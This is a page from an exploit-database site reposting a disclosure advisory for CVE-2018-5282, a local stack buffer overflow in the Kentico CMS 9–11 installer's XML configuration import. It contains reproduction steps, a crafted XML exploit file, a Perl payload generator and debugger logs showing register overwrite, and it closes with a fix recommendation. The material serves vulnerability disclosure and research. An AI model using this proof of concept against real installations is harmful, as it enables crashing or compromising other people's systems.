[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Kentico CMS 11.0 - Buffer Overflow Vulnerability

Author
bot
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29458
Category
dos / poc
Date add
12-01-2018
CVE
CVE-2018-5282
Platform
windows
Document Title:
===============
Kentico CMS v11.0 - Stack Buffer Overflow Vulnerability


CVE-ID:
=======
CVE-2018-5282
 
 
Vulnerability Class:
====================
Buffer Overflow
 
 
Current Estimated Price:
========================
2.000€ - 3.000€
 
 
Product & Service Introduction:
===============================
Kentico is the only fully integrated ASP.NET CMS, E-commerce, and Online Marketing platform that allows you to create cutting-edge 
websites and optimize your digital customers’ experiences fully across multiple channels. Kentico saves you time and resources so 
you can accomplish more. Giving you the power to improve and refine your digital strategy, align it with the needs of your customers, 
and create unique user experiences, Kentico 9 accelerates customer loyalty through new technologies. 
 
(Copy of the Homepage: http://www.kentico.com/product/kentico9 )
 
 
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stack buffer overflow vulnerability in the official Kentico v9.0, v10.0 & v11.0 content management system software.
 
 
Affected Product(s):
====================
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 9.0
 
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 10.0
 
Kentico Software
Product: Kentico - Content Management System (eCommerce Software) 11.0

 
 
Technical Details & Description:
================================
A local stack buffer overflow vulnerability has been discovered in the official Kentico v9.0, v10.0 & v11.0 content management system software.
The buffer overflow vulnerability allows local attackers to compromise the local system process by an overwrite of the active registers.
 
The local buffer overflow vulnerability is located in the `Load XML Configuration` module for file imports. The xml file impact input 
data of the configuration for the software. In several values of the xml file the inputs are not recognized by an approval of the secure 
software validation mechanism. The iis configuration settings are connected to a secure validation process, the sql install database 
information in the xml file are not. The non-exisiting input validation and the unrestricted context size allows local attackers to 
trigger a stack buffer overflow vulnerability. That results in compromise of the software process with system privileges.
 
The security risk of the local buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. 
Exploitation of the stack buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. 
Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process.
 
Vulnerable Module(s):
[+] Load XML Configuration
 
 
Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with low privileged or restricted system user account without user interaction.
For security demonstration or to reproduce the software vulnerability follow the provided information and steps below to continue the process.
 
 
Manual steps to reproduce the vulnerability ...
1. Download the newst software version of the Kentico cms (v9.0.x - 9.0.5981.23486)
2. Accept the program conditions and click to custom installation
3. Open the local hosted xml poc file
4. Include a large unicode payload to the marked values
5. Save the xml file on your localhost
6. Move back to the kentico v9.x installation process with the custom install screen
Note: Attach a debugger to followup with the overwrite on the active registers
7. Load the xml poc file by usage of the import function of kentico (left|buttom)
8. The vulnerable values loaded and the process will permanently crash with different exceptions
9. Move back to the debugger that is attached to the active software process and followup with an overwrite of the active ecx, ebp or eip registers
10. Successful reproduce of the local buffer overflow vulnerability!
 
 
PoC: Vulnerable Source (XML)
<SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt">
  <Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True" 
DeleteExisting="False" DoNotOverwriteInstallation="True" RegisterCounters="False" InstallWinServices="False" RegisterApplicationToEventLog="False" 
WebProject="WebApplication" KillRunningProcesses="False" EnableModuleUsageTracking="True" />
  <Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL" 
SqlName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" 
SqlPswd="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" 
Database="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" />
  <IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" />
  <Modules type="InstallAll" />
  <WebTemplates type="InstallAll" />
  <UICultures type="InstallAll" />
  <Dictionaries type="InstallAll" />
  <WebSites />
  <Licenses />
  <Notification Enabled="False" Server="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" 
UserName="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" 
Password="[INCLUDE UNICODE PAYLOAD HERE TO TRIGGER THE BOF!]" 
SSL="False" From="" To="" Subject="" AttachLogFile="True" />
</SilentInstall>
 
Note: Start the software exe file kentico v9.0 on windows, attach the windows debugger and load the xml config file to overwrite the ecx and eip registers.
The installation path and the iis website values are not exploitable, because of the active content restrictions of the process that drops an invalid 
argument exception to prevent.
 
 
PoC: Exploit Code (XML)
<SilentInstall Log="True" LogFile="" OnError="Stop" CheckRequirements="False" ShowProgress="CommandPrompt">
  <Setup InstallOnlyProgramFiles="False" Location="Local" SetupFolder="C:Program Files (x86)Kentico9.0" NET="4.5" OpenAfterInstall="True" DeleteExisting="False" 
DoNotOverwriteInstallation="True" RegisterCounters="True" InstallWinServices="True" RegisterApplicationToEventLog="True" 
WebProject="WebApplication" KillRunningProcesses="True" EnableModuleUsageTracking="True" />
  <Sql InstallDatabase="True" Server="127.0.0.1" Authentication="SQL" 
SqlName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" 
SqlPswd="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" 
Database="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" 
Operation="" Collation="SQL_Latin1_General_CP1_CI_AS" Schema="" DeleteExisting="False" />
  <IIS Website="" TargetFolder="C:inetpubwwwrootKentico9" DeleteExisting="GetUnique" KillRunningProcesses="False" />
  <Modules type="InstallAll" />
  <WebTemplates type="InstallAll" />
  <UICultures type="InstallAll" />
  <Dictionaries type="InstallAll" />
  <WebSites />
  <Licenses />
  <Notification Enabled="False" Server="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" UserName="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" Password="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+" SSL="False" From="" To="" Subject="" AttachLogFile="True" />
</SilentInstall>
 
 
PoC: Exploitation (Perl)
#!/usr/bin/perl
my $Buff = "A" x 3000;
open(MYFILE,'>>kentico_unicode_payload.txt');
print MYFILE $Buff;
close(MYFILE);
print "PoC (c) Vulnerability-Laboratory";
 
 
--- PoC Debug Session Logs [WinDBG] ---
(1522.21ec): Stack buffer overflow - code c0000409
eax=00000000 ebx=0044b208 ecx=00410041 edx=513cc7c2 esi=003a22d0 edi=00477cd0
eip=41004100 esp=00000000 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001c  ss=0022  ds=0022  es=0022  fs=002c  gs=0000             efl=00000000
41414141 cc22
-
EXCEPTION_RECORD:  ffffffff -- (.exr ffffffffffffffff)
ExceptionAddress: 41414141
   ExceptionCode: c0000409 (Stack Buffer Overflow)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 00000002
 
 
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure file size and input character restriction like on the iis scheme website input.
Parse the full xml file on import and restrict the memory size on imports to prevent further buffer overflow attacks.

#  0day.today [2024-11-14]  #